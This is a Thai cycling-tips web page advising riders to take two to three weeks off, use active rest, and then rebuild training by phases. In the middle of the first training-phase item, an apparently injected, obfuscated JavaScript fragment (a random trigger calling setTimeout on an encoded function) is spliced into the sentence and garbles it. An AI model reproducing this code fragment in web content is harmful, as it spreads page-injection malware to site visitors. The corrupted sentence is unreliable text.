• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

นักปั่นถาม…ควร “พักหยุดปั่น” นานเท่าไหรดี

stepextra by stepextra
26 October 2016
in Cycling Tips, Feature, Tips & Technics
0
ไต่เขาอย่างไรให้ง่ายขึ้น (Make it easy climb)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ร่างกายคนเราไม่ใช่เครื่องจักรที่จะสามารถทำงานได้ตลอกเวลาโดยไม่หยุดพัก นักปั่นจะมีช่วงหยุดพักหรือช่วง off-season หยุดพักกิจกรรมปั่นเพื่อให้ร่างกายเเละจิตใจได้หยุดพัก สลายความเครียดที่สะสมไว้ เเต่เราควรจะหยุดพักนานเท่าไหรดี เพราะยิ่งหยุดพักนาน ความฟิตก็ยิ่งลดลง หรือจะมีวิธีพักการปั่นเเต่สามารถกลับมาฟิตได้เหมือนเดิม

ข้อดีของการพักหยุดปั่นจักรยานคือ…ให้ร่างกายได้พักฟื้นและลดความเครียดลง (metal stress) แต่ก็มีสิ่งที่ควรระวังระวหว่างการหยุดพัก ซึ่งได้เเก่…

  1. น้ำหนักเพิ่ม (Weight grain)
  2. ความฟิต (Fitness level) และประสิทธิภาพการปั่น (performance) ที่ลดลง

ในช่วงพักหยุดปั่นระยะสั้นๆ 2-3 สัปดาห์ ผลกระทบมีน้อยมากต่อร่างกายนักปั่น ทั้งในเรื่องของน้ำหนักเเละประสิทธิภาพและความฟิต เเต่ถ้าหยุดพักโดยไม่ประกอบกิจกรรมที่ active เลย ประมาณ 2-3 เดือน ทุกอย่างจะกลับมาสู่จุดเริ่มต้นใหม่หมด ช่วงนี้อาจจะมีการเพิ่มของน้ำหนักมาด้วย

bike-1534906_640

ช่วงเวลาที่หยุดพักที่ดี จะประมาณ 2-3 สัปดาห์ ก็เพียงพอเเล้วให้ร่างกายเเละจิตใจได้พักผ่อน เเต่ถ้าเกิดมีการหยุดมากกว่านั้นจะมีวิธีไหนที่จะช่วยรักษาความฟิตของร่างกายไว้ให้ได้มากที่สุดเเละไม่อ้วนด้วย….วิธีพักที่ดีเพื่อรักษาความฟิตเเละคุมน้ำหนักไว้ เราเรียกวิธีการพักเเบบนี้ว่า Active rest หรือการพักที่มีการประกอบกิจกรรมเบาๆ (lower-intensity activities) อย่างเช่น การเดินป่าไต่เขากางเต๊นท์ ว่ายน้ำ การออกไปปั่นเสือภูเขา เป็นต้น

ระยะเวลาหยุดพักจะขึ้นอยู่กับความหนักเบาของการฝึกในช่วงที่ผ่านมา ยิ่งฝึกหนักและมาก ร่างกายก็ต้องการระยะเวลาพักที่มากขึ้น เเต่อย่างที่บอกไป การพักประมาณ 2-3 สัปดาห์ก็น่าจะเพียงพอเเล้ว

หลังจากจบช่วง พักหยุดปั่น การกลับมาฝึกอีกครั้ง ก็ขอให้เเบ่งเป็น

  1. Pre-seasonconditioning period หรือช่วงปรับร่างกายให้เตรียมพร้อมต่อการฝึกหนักในช่วงกลาง season เป็นการประกอบกิจกรรมที่ไม่หนักมาก อย่างการฝึกเวท เพื่อสร้างความเเข็งเเกร่งให้กล้ามเนื้อ (strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stability work) และคาร์ดิโอเบาๆ
  2. ช่วงกลาง season เป็นช่วงที่ร่างกายพร้อมจะรับการฝึกหนัก( high-intensity interval training) ได้เเล้ว เน้นเป็นการฝึก คาร์ดิโอ หรือการฝึกปั่นนั้นเเหละครับ
  3. ช่วงปลาย season ความเข้มข้นก็ควรค่อยๆ ลดลง เเต่ก็อย่าทิ้งการฝึกกล้ามเนื้อ

 

 

 

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.